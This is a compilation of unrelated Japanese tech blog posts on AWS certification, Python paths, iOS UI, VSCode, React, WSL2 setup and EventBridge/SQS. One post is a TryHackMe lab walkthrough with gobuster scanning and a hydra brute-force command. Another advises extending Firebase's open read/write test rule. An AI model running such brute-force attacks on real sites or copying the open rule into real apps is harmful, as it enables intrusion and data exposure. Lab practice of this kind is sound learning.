![DevOpaPro.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3579705/add0ba67-15e6-2630-e5bd-177342ecc2e8.jpeg)

# なぜ資格取得を目指したか
これまで頼りにさせていただいたチームの先輩が転職することになり、自分もAWS領域では早く1人前にならねばと思ったことと、自分が業務で使用しているサービスについて意識的に学習する時間を作ろうと思ったことがきっかけです。

# 業務、学習状況
入社から一貫してAWSを使用したサーバレスでのアプリケーション構築に携わっています。
特に使用しているサービスは、APIGateway,SQS,Lambda,EvevtBridge,DynamoDB,Codeシリーズです。
これまでに取得したAWS資格はCLF、SAA、DVAです。

# 学習期間
2024年6月～2024年9月の約三か月間でした。
平日は1時間、休日は約3時間ほどの学習。試験2週間前からは休日に5時間ほど学習しました。
総学習時間は、100時間ほどだと思います。

# 学習に使用した書籍やサイト
## メインで学習に使用した書籍
ポケットスタディ AWS認定デベロッパーアソシエイトを使用しました。
https://www.shuwasystem.co.jp/book/9784798063409.html
DVAの学習の際にもお世話になった書籍で、試験のセクションごとに解説→参考問題の順に並べられていて頭に入って来やすかったです。
DVAの時に2周しており、DOPの対策としては2日間でざっと流し読みをして忘れていそうな部分は付箋をつけて後で見直せるようにするというくらいに留めていました。

## 問題演習に使用したサイト
①AWS Skill Builderを活用しました。
https://aws.amazon.com/jp/training/digital/
課金をしなくても20問の本番レベルの練習問題を解くことができるので、Associate試験との問題分野や選択肢の長さに関する違いやレベル感を把握することができました。

②Udemy 試験問題を利用しました。
https://www.udemy.com/course/dop-c02aws-devops-2024/?couponCode=JPLETSLEARNNOW
模試を受講してみて自分のレベルと苦手な範囲を知ることを意識しました。
最初に模試を受けたときは正答率が50%ほどだったのでかなり危機感を持って学習できたと思います。
最終的には8割ほどできるようになっていました。


③AWS BlackBeltを活用しました。
https://www.bing.com/search?q=aws+black+belt&form=ANNTH1&refig=1a0bf3403dfd40cfab1a94366c4a8bf9&pc=LCTS&pq=aws+black&pqlth=9&assgl=14&sgcn=aws+black+belt&qs=HS&smvpcn=0&swbcn=10&sc=10-9&sp=1&ghc=0&cvid=1a0bf3403dfd40cfab1a94366c4a8bf9&clckatsg=1&hsmssg=0
もともと実務で使用していたサービスに詳しくなりたくて試験を志したので。
APIGateway,SQS,Lambda,EvevtBridge,DynamoDB,CloudWatchはじっくり見直しました。
また、②で見つけた苦手範囲であるIAMやCodeシリーズ,CloudFormationの部分についても重点的にBlackBeltを確認しました。

# 試験を受けてみての感想
まず、試験勉強は自分にとってなかなか大変でした。
社会人2年目になり、求められる業務量や質が高まり残業時間も増えるなかで心が折れそうになりました。ただ、試験に受からないと受験費用4万円が返ってこないことや自分の使用しているAWSサービスに詳しくなりたいというモチベーションで学習を続けられました。

また、AWSサービス個々の知識についても深めることができたのはもちろん、サービス同士を組み合わせて要件を達成するという、実際の業務でも起こりそうな問いが多く、とても勉強になると感じました。

今後は学んだことを活かして今までマネコン操作で行っていたハンズオンをterraformでやってみたり、より手を動かしてAWSの理解や楽しさを味わいたいと思います。
【フォルダ管理術】ディレクトリ整理によるpythonのエラーの対応（親ディレクトリ、階層が上のファイルの話）

私が、なるほど！と思ったフォルダ管理術と、一緒に起きたトラブルをご紹介します！！

実際に例として、2022年の各都道府県別の人口データをpythonで読み込むプログラムを書いてみましょう！

## フォルダ管理

第一に、【各案件のフォルダ】を作成します。

今回だったら、各都道府県の人口を分析を行うため、「population」という専用のディレクトリを作成します。

さらに使うファイルを細かく分類していきます。
データ分析の時に使う、または作られるファイルは次の３種類に分けることができます。

#### 1. 分析対象となるデータ
フォルダの名前は「Data」とします。csvファイルなど、分析で使うデータを入れていきます。
今回は「population.csv」を分析していきます。

#### 2. 分析で使うファイル
フォルダの名前は「Analysis」とします。ipynbファイルなどが入ります。今回は「PopulationAnalysis.ipynb」で分析していきます。

#### 3. 分析の結果を表すファイル
フォルダの名前は「Outcomes」とします。表などが入ります。


つまりはこんな感じです。
![スクリーンショット 2024-09-26 0.15.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894554/c1fe99e0-77fc-94fd-3f22-f3fd23fd4f19.png)

## Pythonのコードが動かない...?
このようなディレクトリの構造は非常にフォルダの見栄えがよく共有も簡単な一方、以下のようなコードではデータを読み込むことができませんでした。

```python:エラーが出てしまう入力
import pandas as pd
df = pd.read_csv("population.csv")
df.head()
```
```python:エラー
"[Errno 2] No such file or directory: 'population.csv'"
```

これは PopulationAnalysis.ipynb の親ディレクトリであるAnalysisに読み込むデータである population.csv が含まれていないことが原因です。

これを解決するためには population.csv のパスを指定して読み込む必要があります。

やることは先ほどのフォルダの構造に基づいて考えます。

![スクリーンショット 2024-09-26 0.15.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894554/c1fe99e0-77fc-94fd-3f22-f3fd23fd4f19.png)

つまりやることは、
##### 現在のディレクトリの親ディレクトリのパスを取得し、 そこに「Data/population.csv」をつけて作成したパスをPandasで読み込めば、population.csvをデータフレームとして取り込めそうです。
一歩下がって二歩進むイメージです！

パスの取得はPython のOSモジュールを使って行います。

```python:コード
#現在のスクリプトファイルのディレクトリを取得
import os

#現在のディレクトリのパスを取得
current_directory = os.getcwd()

#親ディレクトリのパスを取得
parent_directory = os.path.dirname(current_directory)

#1つ上の階層にあるファイルのパスを作成
file_path = os.path.join(parent_directory, "Data/population.csv")

#完成したパスを出力
print(file_path)
```
```python:出力
'/Users/<ユーザー名>/DataAnalysis/Data/population.csv'
```
これにより、データの読み込みに必要なパスを作成することができました！！

```python:コード
df = pd.read_csv(file_path)
df.head()
```
これにより、population.csv を読み込むことができました！！

## まとめ
ディレクトリ整理でデータが読み込めないって問題も、OSモジュールを使うことで解決できました！


## 出典
社会・人口統計体系 都道府県データ 基礎データ（総務省統計局）
https://www.e-stat.go.jp/stat-search/database?statdisp_id=0000010101
ToggleとToggleライクなボタン (iOSアプリ)

# ToggleとToggleライクなボタン (iOSアプリ)

ToggleはAppleのデザインガイドライン[Toggles](https://developer.apple.com/design/human-interface-guidelines/toggles)によると、リスト形式のみで使用することが推奨されています。

例えば、

![Simulator Screenshot - iPhone 15 Pro - 2024-09-26 at 00.27.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/373549/7fcd210d-9574-5ff6-24ae-6fbd0ea11243.png)

上の画面では、リスト形式でToggleを使用しています。これはAppleのデザインガイドラインに沿った設計となります。

それ以外ではToggleライクなボタンの使用を推奨しています。例えば、iOSで元から搭載されているカレンダーアプリの右上で使われています。

![Simulator Screenshot - iPhone 15 Pro - 2024-09-26 at 00.29.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/373549/0d561b7e-f91b-83ec-4556-9dc1949e05d0.png)
![Simulator Screenshot - iPhone 15 Pro - 2024-09-26 at 00.29.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/373549/b9643469-0e73-5ac1-9295-04736491e0f2.png)

普通のボタンの背景を変えることで、Toggleのように表現しています。余計なスペースをとらずに済むのがメリットです。※シミュレータで動かしています。

## UIKitでの実装方法

`UIBarButtonItem`をトグルライクに


```swift

class ViewController: UIViewController {
    ...
    // toggleライクなボタン
    lazy var button: UIBarButtonItem = {
        let action = UIAction(handler: {
            [weak self] _ in
            guard let self else {
                return
            }
            self.toggle = !self.toggle
            self.button.isSelected = self.toggle
        })
        let button = UIBarButtonItem(primaryAction: action)
        button.image = UIImage(systemName: "server.rack")
        button.changesSelectionAsPrimaryAction = true
        button.isSelected = self.toggle
        return button
    }()
    private var toggle = true
    ...
}
```

## SwiftUIでの実装方法

```swift

Toggle(isOn: $flag) {
    Image(systemName: "flag.fill")
}
.toggleStyle(.button)
```

`toggleStyle(.button)`を指定することでtoggleライクなボタンになります。
歴戦のSE向け手順書を作成する際に気をつけたこと

お疲れ様です！
やっと秋めいてきて快適ですが、現場のクーラーは集中管理されているので相変わらず極寒です。
今回は現場のSEさんたちに手順書を作る仕事をしたので、その際に気をつけたポイント、やった事をまとめした。かなりやっつけ仕事でしたが、今後手順書を作成する際の参考になれば幸いです。

## 手順書を作ることになった経緯
機密事項に触れてしまうので色々割愛しますが、プロジェクトにある全ての機器をリスト化して管理しよう！！となり、数千台ある機器のシリアル番号などのデバイス情報や中身のソフトウェア情報を集める事になりました。
現場上長から宇宙語で記されているぶっっっっ厚い機器管理の資料を渡され、「とりま必要な手順抜き出して、簡単な手順書を作成して皆さんに実施してもらって〜締切は5日後:innocent:」と言い渡されました。
その5日間上長は現場に居ない、ということで自分でいろんな人に聞いてなんとかしなければならない状況でした。とりあえず資料全て目を通したものの意味不明の極地。
なんでも教えてくれるプロパーのお姉さんに聞いてみたところ一緒に資料を読んでいだけて、助言をもらいながら、なんとか締め日までにリスト化、登録手続きを出来ました。

## 1.実施完了までの計画を立てる
5日間の猶予がありましたが、5日間かけて機器情報を集めるのではなく、集めた情報をリスト化して登録しなければならなかったので、1日で手順書を作り、3日間全ての機器情報を集めて、残りの1日で私がリスト化して登録まで済ます、というスケジュールを立てました。

## 2.資料を読んで必要な事を抜き出す。
この作業が一番地獄でした。
読めど読めど頭に入らない。ここまでつまらない読み物はないです。
まずまず知らない用語多すぎて調べていたらキリがない状態です。
とりあえずハンズオンな雰囲気のページを見つけて、実際に必要な作業を試してみました。
ですが、大前提となる目的やリスト化してどの様に運用していくか？などをかっ飛ばした状態でやってみても意味不明でお姉さんに頼りました。　
お姉さんも「意味不明💦これ読んで誰がわかると思ってんだ💢」と言いながらも解読していただき、認識が合っているか？試した作業が成功しているか？の確認をしていただきました。

## 3.手順書の作成
私は今までqiitaでご紹介してきたように初心者目線で手順を書いてきました。
ですが歴戦の猛者のようなSEさん達にどのように書けば良いかわからずとても悩みました。
現場で見かける手順書は短い走り書きのようなもので、それを元に業務にあたっているのを見ていました。
長々と書くのは良くないかもしれないと思ったので、メモのような下書きを作り、お姉さんに添削して貰ったのですが、雑すぎて分厚い資料読んだ方が良いと酷評されました💦
動作と動作の間が全然わかんないよ！！と言われ、あれだけ嫌っていた暗黙の了解を自分で作っていたのです。
私は慣れている人にどれだけ情報を提供したら良いかがよくわからず、色々書きすぎて簡潔でないといけないと考えすぎていました。
お姉さん曰く、「どんなに経験があってもわからないものはわかんないし、皆さん読めているようで読めてなくて、聞きに行っているし、誰も丁寧に書かない怠け者なだけやから！！」となんとも言えない意見をいただき、qiitaのように書くことにしました。

## 手順書作成で心がけたこと
1. 読み手の状況を考えた文章
皆さん常に何か別の作業をしながら別の作業をしてます。
なので片手間で出来るように難しい言葉は使わない、小学生でも読めるようにしました。
簡潔にこの作業の目的、実施期限、格納先とファイルの命名規則を提示して頭を使う必要を無くします。


2. ステップバイステップの構成
手順書は、誰が見ても分かりやすいステップバイステップで構成することは当然だと思いますが、各手順を明確にして、自分でやってみた時のスクリーンショットも加えました。これにより視覚的にも理解しやすくなります。

 3. 環境・前提条件別に作成
皆さん超多忙なので、各環境•前提条件別に作成しました。
自分の使用してるOSや機器のページを目次から探す手間を省くため、初めから分けて作りました。

4. エラー処理の考慮
手順通りに進めていくと、必ずといっていいほどエラーに直面します。
エラーについての対処法を手順書に組み込み、あらかじめ解決策を提示することで、SEさんの手間を軽減しました。

## 手順書以外でやった工夫
格納先には予め私が作った完成形を置いておいてわかりやすくする。
忘れてそうな人、忘れられている対象機器を探して実施をお願いする。
数百台ある機器の場所をリスト化して、近くに居る人に実施してもらえるように朝のミーティングで告知。

## やってみての感想とフィードバック
無事エラーもなく、2日で集まりました。
遠隔地にいる方々もスムーズに実施していただけたので初めて作った割には良くできたんじゃないかと思います。
手順書を使っていただいた方からは読みやすいくて全く問題なかったと言われました。
集まったものの機器情報の集計して登録する作業が大変で、たまたま来ていたVBA仙人のシニアマネージャーの方に手伝っていただけました。VBAをマスターしようと思います:fire:
もっと視野広げないといけないと思ったのが、別フロアでも同じ登録作業をしていて、わからないことを聞きに行けば良かったと思いました。
あとこの手順書作った後にchatAIが導入されました（遅い）
資料のPDFを飲ませると要約してくれるそうでこれあったら大分早く作業が終わった気がします。。。

## まとめ
この業務での収穫は経験に問わず暗黙の了解は良くない、と言う事です。
研修の時から手順書の暗黙の了解が気になってしかたなかった私は気になるのは私だけだと思っていました。
暗黙の了解が当たり前の環境だと覚悟していましたが、実際はベテランの人でも暗黙の了解に悩んでいて、言葉が足りないところを解消するために聞いているという状況です。
ミーティングでも言葉が足りなくて解釈違いを起こして、言葉が足りなかったことを謝っているところは何度も見ました。
IT業界誌を執筆している詩人の知り合いは、**その言葉から言葉以上のものが読み取れるのが詩や小説で、現場の手順書や取説は言葉以上のものが読み取れないもの**、と定義していました。
読書が好きな私はなんでこんなに手順書が読めないんだろうと悩みましたが、つまらなくて当然です。
その言葉以上のものを読み取ろうとしてもしょうがないし、その言葉以上のものが読み取れないものを作成するのならば、言葉をたくさん並べても何一つ悪いことはないと思いました。
そんなに投稿してませんが、qiitaを細々書いていたのは意外と力になっていたのだと思います。
私は人と会話するより、文章を認める方が性に合っています。
エンジニアは文章コミュニケーションは多いですし、これは自分の強みなので細々と投稿していきます。
ここまで読んでくださり、ありがとうございました！
ソフトウェアファースト第2版（第6章）の読書メモ

# はじめに

前回に続き、ソフトウェアファーストの第2版を読んで思ったことを書き連ねていきます。

https://amzn.asia/d/2fxjKjS

第6章は「各人材に求められる変革」です。

# プロダクト志向

理想のプロダクトとは何か、誰の何の問題を解決したいのか。
HPなどで、モヤっとした内容だけ書かれていることがよくあります。

ビルドトラップに陥らないためにも、こういったことについて、定期的に話をする場があると良さそうです。

# 成果で評価

「組織のルールを変える」の中で、厳格な勤怠管理に依存する人材評価より、仕事の成果で評価しましょう。との趣旨がありました。

基本的には賛成なのですが、ソフトウェア開発は一人一人が異なる役割、異なる量・難易度のタスクを受け持っているため、成果での評価というのは、かなり難しいのではないかと思います。

難易度の高い仕事をしているから評価が上がるのであれば、誰も単純作業をやりたがらなくなります。
ミスが多いと評価が下がるのであれば、簡単な仕事ばかり取り組んだほうが得をすることになってしまいます。

テレアポのアウトバウンドのように、全員が同じ条件で、同じ性質の仕事をしていて、結果（成約件数）の差が明確に表れるものは、成果主義で問題ないでしょう。

なので、個人的には、勤怠や勤続（経験）年数での評価というのは、ある程度は納得感のあるものかなと思います。

# 同意しないがコミットする

結構大事な考えですね。プロジェクトを進めていると、自分と合わない考えで物事が進められることはどうしても出てしまいますが、ある程度は許容していかないと、全く進まなくなってしまいます。

昨今は、ダイバーシティ（多様性）を持った組織をつくろうとの風潮がありますが、全員が完全に同意するというのは、より難しくなってきますね。

# W型人材とπ型人材

T型人材に、専門性をさらに一つ加えて、π型人材と呼ぶというのは広く知られている用語ですが、W型人材という言葉は初めて聞きました。

π型との違いがよくわからなかったのですが、π型は、ITという範囲の中で、複数の専門性を持ち、W型はITとそれ以外の専門性を持つという事でしょうかね。

# 変革

という言葉が随所に登場しますが、本当にそれが必要かどうかについて、よく考えたいものです。
勉強熱心な技術者は、よく新しいバズワード（マイクロサービスや、XX駆動開発など）を試したがるものです。

「変革」という旗印を掲げて、強引に導入したものの、うまく機能しないこともあります。
うまく機能しない理由は、マイクロサービスや、XX駆動開発そのものが間違っているわけでなく、その現場のやり方では合わなかったかなと思います。

なので、状況に応じて、押すと引くをうまく使い分ける必要がありますね。
【VSCode】1度のホットキーでサイドバーやパネルを閉じてエディタにフォーカスする方法

1つのホットキーでサイドバーやパネルを閉じてエディタにフォーカスするには`keybindings.json`に以下のように記述します。

```jsonc:keybindings.json
  {
    "key": "cmd+e",
    "command": "runCommands",
    "args": {
      "commands": [
        "workbench.action.focusActiveEditorGroup",  //エディタにフォーカス
        "workbench.action.closeSidebar",  // サイドバーを閉じる
        "workbench.action.closePanel",  // パネルを閉じる
        "workbench.action.closeAuxiliaryBar"  // セカンダリサイドバーを閉じる
      ]
    }
  },
```

`runCommands`を使用すると1つのホットキーに複数のコマンドを指定できます。

追記後に`cmd + e`を押下すると以下のようになります。

![画面収録 2024-09-25 23.13.35.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/18aeb634-22ba-c904-d9d7-76ec98076de5.gif)


## 参考

https://code.visualstudio.com/docs/getstarted/keybindings#_running-multiple-commands
React Hook Form の基礎知識

# React Hook Formとは

hooksの仕組みを利用したライブラリであり、公式ドキュメントには「高性能で柔軟かつ拡張可能な使いやすいフォームバリデーションライブラリ」と掲げられている。

react-hook-formを使用することでuseStateを使用せずにフォームのバリデートやリセットなどを簡単に実装することができる

## 導入方法

```jsx
npm install react-hook-form 
```



## 各関数についての説明



**-useForm**

React Hook Formライブラリ内で提供されているカスタムフックであり、ここからフォームの状態管理やバリデーションルールなどを設定することができる。

**-register**

バリデーションルールを追加することができる。

他にもreset()などの関数も備わっている


```jsx
<input
  {...register("firstName", {
    required: true,
  })}
/>;
```

## 参考資料
https://www.issoh.co.jp/tech/details/2898/
投稿 86 GitHub フェッチとプルの違い 2024/09/24

本日の勉強時間　3H

git fetch は、リモートリポジトリの最新の履歴を取得し、そのデータをローカルのリモート追跡ブランチに反映させるコマンドです。 ローカルブランチには取得したデータは反映されません。 これに対して、 git pull はリモートリポジトリの最新の履歴を取得し、そのデータはローカルブランチにマージされます。
firebaseのセキュリティルールを変更しないといけないっぽい

どうやらFirebaseのセキュリティルールを変える必要があるみたい。

開発段階ではテストモードで開発していることが多いそうで......

自分もそうしてました！

何もしていないと初めて開発してから1ヶ月経っちゃうとなんかエラーが起きてしまいます！
![スクリーンショット 2024-09-25 22.42.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894797/ea2c72f9-4ae0-a332-a9f7-235a4196e9bf.png)
　　　　　　　　　　　　　　　　↑エラー↑

　　　　こうなってるとfirebaseへの接続エラーが起きちゃいます！

　　　　　　　　　　　これは開発中では厄介ですよね

                   　　　   これを回避するためには

![スクリーンショット 2024-09-25 23.24.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894797/432fb686-419f-7dc5-df66-c7ac25849c8b.png)

１．まずはプロジェクトにアクセスする　

![スクリーンショット 2024-09-25 23.25.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894797/20736683-5b5e-b093-ade2-1e26184840d8.png)

2.ルールをタップ

![スクリーンショット 2024-09-25 23.25.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894797/ce86d690-23d7-1c5a-f32b-9b1390631571.png)


3　セキュリティーコードを変える

service cloud.firestore {
  match /databases/{database}/documents {

    // This rule allows anyone with your Firestore database reference to view, edit,
    // and delete all data in your Firestore database. It is useful for getting
    // started, but it is configured to expire after 30 days because it
    // leaves your app open to attackers. At that time, all client
    // requests to your Firestore database will be denied.
    //
    // Make sure to write security rules for your app before that time, or else
    // all client requests to your Firestore database will be denied until you Update
    // your rules
    match /{document=**} {
      allow read, write: if request.time < timestamp.date(2024, 9, 24);
    }
  }
}

ここのdateの部分の値を変える必要があります！

この報告をしているブログがなかったので書いてみました
ECRの脆弱性対策(ベーシックスキャンと拡張スキャン)

## ECRの脆弱性対策
ECRには、コンテナイメージ内の脆弱性の特定をする**イメージスキャン**がある。
イメージスキャンは、以下2種類。
- ベーシックスキャン
- 拡張スキャン



|| ベーシックスキャン | 拡張スキャン |
|:-----------|:------------|:------------|
| スキャン対象 |OS| OS<br>プログラミング言語 |
| スキャンのタイミング | ECRへのプッシュ時<br>手動 | ECRへのプッシュ時<br>自動連続 |
| スキャン内容 | 脆弱性情報 | 脆弱性情報<br>診断結果に基づく対応策の表示<br>修正バージョン |
| スキャン結果の確認方法 | ECRコンソール | Inspectorコンソール<br>ECRコンソール<br>SecurityHubコンソール |
| 料金 | 無料 | ECRでは料金発生しないが、Inspectorのコストがかかる<br>[東京リージョンの場合]<br>1 か月あたりの Amazon ECR へのプッシュ時に最初にスキャンされたコンテナイメージ数：イメージごとに0.11USD<br>1 か月あたりの連続スキャン用に設定された Amazon ECR のコンテナイメージの自動再スキャンの数：リスキャンごとに 0.01USD  |


:::note warn
以下リージョンは拡張スキャンの対象外
・中東 (UAE) (me-central-1）
・アジアパシフィック (ハイデラバード) (ap-south-2)
・イスラエル (テルアビブ) (il-central-1)
・アジアパシフィック (メルボルン) (ap-southeast-4)
・欧州 (スペイン) (eu-south-2)
:::

## ベーシックスキャン
プッシュ時にスキャンするように設定されていない場合、イメージスキャンを手動で開始できる。
イメージは **24 時間に 1 回**スキャンでき、24 時間には、設定されている場合はプッシュ時の最初のスキャンと手動スキャンが含まれる。

## 拡張スキャン
Inspector が ECRリポジトリ内のイメージを継続的にスキャンする日数を選択し、変更できる。
デフォルト：イメージが削除されるまで(拡張スキャンが無効になるまで)
選択：デフォルト・30日間・180日間

## 参考

https://docs.aws.amazon.com/ja_jp/AmazonECR/latest/userguide/image-scanning.html


https://aws.amazon.com/jp/inspector/pricing/
WSL2でAWSを使うための環境構築（Node/Python）

## 目次

- VSCodeのインストール
- WSL2(Ubuntu)の構築
- node.js環境構築
- python環境構築
- その他開発環境構築
- aws関係

## VSCodeのインストール

- Windows環境で行う
- インストール方法は省略
- WSLでの利用に備えて最低限以下のExtensionを入れる
[Remote Development](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack)

## WSL2(Ubuntu)の構築

### 参考記事
- 下記の記事が大変分かりやすいためそちらを参照
[WSL2 のインストールとアンインストール](https://qiita.com/zakoken/items/61141df6aeae9e3f8e36)

- 過去にUbuntu環境を作っていたがそのパスワードがわからなくなった場合
[wsl でパスワードを忘れてしまった際の対処](https://qiita.com/iszk/items/557cd99739ea6cc82941)

### やること

    ```
    # PowerShellを管理者権限で開いて実行する
    
    # 有効なディストリビューションの一覧
    wsl -l -o
    
    # ディストリビューションのインストール（以下はUbuntu-20.04をインストールする例）
    wsl --install -d Ubuntu-20.04
    
    # インストールしたディストリビューションの起動
    wsl -d Ubuntu-20.04
    ```

## node.js環境構築
前項で作成したUbuntu環境上で実施する

### 参考記事
- 下記記事が大変わかりやすい
[Node.jsをWSL2のUbuntu 22.04にインストールする手順](https://qiita.com/c8h9no2/items/9a2e1278976db1b390a5)

### やること
    ```
    # Ubuntuのbashで実施
    
    # 必要なパッケージのインストール
    sudo apt update && sudo apt install -y curl build-essential

    # nvmのインストール
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash
    
    # nvmを有効にするためターミナルを開きなおす
    # または下記コマンドで.bashrcを再読み込み
    source ~/.bashrc
    
    # nodeのインストール
    nvm install 20
    nvm use 20

    ```

## python環境構築

- pyenvの役割
pyenvは複数のPythonバージョンを管理するツールです。システム全体に影響を与えずに、プロジェクトごとに異なるPythonバージョンを使用できます。
- pipenvの役割
pipenvは依存関係管理とvirtual environmentを組み合わせたツールです。プロジェクトごとに分離された環境を作成し、必要なパッケージを管理します。

### 参考記事
[WSL2にpyenvとpipenvによるpython仮想環境構築](https://qiita.com/otooto/items/39cebde51c4417f12456)
[WSL2（Ubuntu） + Pyenv でPython開発環境（Pipenv / Poetry）](https://qiita.com/youkidkk/items/c4fd58a32bf04d9ca6d6)

### やること
    ```
    # Ubuntuのbashで実施
    
    # 必要なパッケージのインストール
    sudo apt-get install -y make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python-openssl git

    # pyenvのインストール
    curl https://pyenv.run | bash

    # パス追加
    .bashrcの末尾に以下を追加
    export PATH="$HOME/.pyenv/bin:$PATH"
    eval "$(pyenv init -)"
    eval "$(pyenv virtualenv-init -)"

    # pyenvを有効にするためターミナルを開きなおす
    # または下記コマンドで.bashrcを再読み込み
    source ~/.bashrc
    
    # pythonのインストール
    pyenv install 3.9.5
    pyenv global 3.9.5

    # pipenvのインストール
    pip install pipenv
    ```
    
## その他開発環境構築
- git : python環境構築の項でインストール済み

## aws関係
- aws-cli
    - AWSの操作のため
- git-remote-codecommit
    - CodeCommitでGRCを利用するため

### やること
    ```
    # Ubuntuのbashで実施
    
    # 必要なパッケージのインストール
    sudo apt-get install -y unzip

    # インストールファイルのダウンロード
    curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"

    # 解凍
    unzip awscliv2.zip

    # awscliのインストール
    sudo ./aws/install

    # git-remote-codecommitのインストール
    pip install git-remote-codecommit
    ```
【TryHackMe】Become a Hacker：Walkthrough

# 概要

TryHackMe「Become a Hacker」のWalkthroughです。

https://tryhackme.com/r/room/becomeahackeroa

# Task1

## **Q1**.*Which of the following options better represents the process where you simulate a hacker's actions to find vulnerabilities in a system?Offensive Security,Defensive Security*

**A**.**Offensive Security**

# Task2

## **Q1**.*What is the name of the hidden web page you discovered?*

**Hint**.*You should be able to find it in this list: sitemap, cgi-bin, login, register, and admin.*

`gobuster`でディレクトリスキャンをします。

```
gobuster dir --url http://www.onlineshop.thm/ -w /usr/share/wordlists/dirbuster/directory-list.txt
/images (Status: 301) [Size: 313] [-->http://www.onlineshop.thm/images/]
/css (Status: 301) [Size: 310] [-->http://www.onlineshop.thm/css/]
/js (Status: 301) [Size: 309] [-->http://www.onlineshop.thm/js/]
/login (Status: 301) [Size: 314] [-->http://www.onlineshop.thm/login/]
```

`/login`ページを発見しました。

![task2 q1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/27b3b9fe-c3f4-85c6-8943-0aaee2e72958.jpeg)

**A**.**login**

# Task3

## **Q1**.*What is the secret message that you have discovered?*

**Hint**.*Log in with the username admin and the password you discovered.*

ログインフォームに対して`hydra`でブルートフォース攻撃を仕掛けます。

```
hydra -l admin -P passlist.txt www.onlineshop.thm http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
[80][http-post-form] host: www.onlineshop.thm login: admin password: qwerty
```

`Username: admin`,`Password: qwerty`が分かったのでログインします。

![task3 q1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/de637301-35dc-6512-3f48-b07250491897.jpeg)

**A**.**born_to_be_a_hacker**
AWSのSAAをYoutubeで1か月勉強して受けた結果

## はじめに

### スペック
AWS
- 構築　3か月
- CloudFormationを触っていた
- 逆にコンソールからの構築経験なし


ネットワーク
- 構築・運用　3年半
- FW、LB、SWあたりのコンフィグは触れる


## 勉強法

### Youtube

- SAAの参考問題を解説してくれている動画を暇なときひたすら見る
- 問題でわからないサービスがでてきたら解説動画を見る

下記の関連動画を見ていました。ご参考までに。
同じチャンネルに大量の動画が上がっているかと思います。

### 問題解説の動画
<iframe width="560" height="315" src="https://www.youtube.com/embed/c89BR3PQuI0?si=ZwqoPCtcLA4ArDtR" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>


### サービスについての解説動画
<iframe width="560" height="315" src="https://www.youtube.com/embed/QA0aHa0qPVk?si=7x_vZ4HIBszH38Qi" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

## 結果

### 合格しました

1か月Youtubeをずっと見てたらとれました。勉強めんどくさいから動画だけ見て取れるなら取りたいという方にはおすすめです。ただ未経験だとAWSのサービス以外の基礎的なことでつまづきそうなので、経験者向けかもしれません。
Amazon SQSを使用してEvent Bridgeでタスク起動失敗時に通知を送ってみる

# 概要

EventBridge + ECSを使用したバッチ処理実行を行う時、何らかの理由でECSタスクが起動できないエラーが発生することがあります。この記事では、エラー内容を確認するためのSQSを使用した仕組みを考えてみます。また、SQSに入ったメッセージを検知して、CloudWatchから通知を送信する仕組みも考えてみます。

なお、EventBridgeからECSタスクを起動する方法についてはAWS公式に説明があるため、本記事では省略します。

[Amazon EventBridge スケジューラを使用して Amazon ECS タスクをスケジュールする](https://docs.aws.amazon.com/ja_jp/AmazonECS/latest/developerguide/tasks-scheduled-eventbridge-scheduler.html)

# 今回使用する技術
**Amazon SQS**
キューにメッセージを保存しておくサービス。今回はEventBridgeでイベント実行が失敗した際にメッセージを保管しておく場所として使用します。

**Amazon SNS**
AWSが提供する通知サービス。EMAILやhttpsなどのプロトコルと通知先を選んで登録しておくことができます。今回はCloudWatchでアラーム状態が検知された時にメール通知を行うために使用します。
    
**CloudWatch**
ログ監視システム。SQSへのメッセージ送信を検知し、アラート状態を検知するために使用します。

# 手順

## その1: EventBridgeからのタスク起動が失敗した際にメッセージをデッドレターキュー(DLQ)に入れてみる

まずはEventBridgeでタスク起動が失敗した際にSQSにメッセージが送信されるところを目指して作っていきます。

### SQSの作成
1. コンソールからAmazon SQSにアクセス。キューを作成を選択。
2. 各項目を入力してキューを作成する。EventBridgeのデッドレターキュー(DLQ)として使用できるのは標準タイプのみで、FIFOタイプは使用できないため注意。そのほかは基本的にデフォルト設定で良さそう。


### Event Bridgeへの紐付け
1. ルール>ターゲットを選択>追加設定から1で作成したキューを設定する。下記写真参照。
    ![スクリーンショット 2024-09-25 21.46.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576260/b5ad4f95-3b4f-28e2-a394-301e3ec093a8.png)


なお、規定の回数分の再施行を行ったにも関わらず実行に失敗した場合にのみデッドレターキューにメッセージが送信されます。上の写真だと185回再試行した後にDLQにメッセージが送られます。メッセージが185個送られるわけではないです。

この状態を作ると、EventBridgeからのタスク起動が失敗した場合、作成したキューにメッセージが送信されることを確認できます。ちなみに筆者はEventBridgeのもつポリシーからECS>Run Taskを剥奪することで無理やりタスク起動を失敗させてみました。なお、このように権限不足などでタスクが起動できない時は何回再試行しても無駄なので、再試行は行わずにすぐにキューにメッセージを送信しているらしいです。

